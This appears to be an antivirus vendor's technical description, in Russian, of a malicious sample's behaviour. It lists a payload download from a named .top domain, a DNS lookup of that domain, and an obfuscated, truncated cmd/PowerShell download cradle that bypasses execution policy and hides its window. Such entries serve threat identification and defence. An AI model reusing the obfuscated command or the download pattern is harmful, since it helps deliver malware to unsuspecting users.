Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://aoopoerope.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^O^weRsheLL^.^E^x^E ^-^ExE^CUTioN^p^OLI^cy^ ^by^pasS -n^Op^r^OFiL^E^ -w^inDOwS^T^Yl^e hiDde^N^ (^nEW-o^bj^e^c^T S^y^S^T^e^M.n^ET.We^bcLIe^n^T^).dO^Wnl^o^aD^fIl^e^(^'http://a...
Сетевая активность
UDP
- DNS ASK ao###erope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^O^weRsheLL^.^E^x^E ^-^ExE^CUTioN^p^OLI^cy^ ^by^pasS -n^Op^r^OFiL^E^ -w^inDOwS^T^Yl^e hiDde^N^ (^nEW-o^bj^e^c^T S^y^S^T^e^M.n^ET.We^bcLIe^n^T^).dO^Wnl^o^aD^fIl^e^(^'http://a...' (со скрытым окном)
